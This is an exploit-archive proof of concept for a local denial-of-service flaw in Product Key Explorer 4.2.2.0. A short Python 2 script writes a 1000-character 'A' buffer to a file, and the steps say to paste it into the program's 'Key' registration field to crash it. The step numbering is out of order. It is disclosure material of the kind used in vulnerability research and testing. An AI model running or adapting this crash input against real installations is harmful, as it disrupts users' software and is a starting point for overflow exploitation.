Product Key Explorer 4.2.2.0 - 'Key' Denial of Service (PoC)

# Exploit Title: Product Key Explorer 4.2.2.0 - 'Key' Denial of Service (PoC)
# Discovery by: 0xMoHassan
# Date: 2020-04-04
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/productkeyexplorer_setup.exe
# Tested Version: 4.2.2.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows XP - SP3

# About App

# Product Key Explorer is a powerful product key finder solution for Windows, designed to help users find, # recover and backup activation keys for +9000 popular software programs installed on local or network computers.


# PoC
# 1.Run the python script, it will create a new file "POC.txt"
# 3.Run Product Key Explorer and click on "Register -> Enter Registration Code"
# 2.Paste the content of POC.txt into the Field: 'Key'
# 6.click 'ok'
# 5.Magic happen :)



#!/usr/bin/env python
buff = "\x41" *500
buff += "\x41" * 500

try:
    f=open("POC.txt","w")
    print "[+] Creating %s bytes payload.." %len(buff)
    f.write(buff)
    f.close()
    print "[+] POC created!"
except:
    print "POC cannot be created"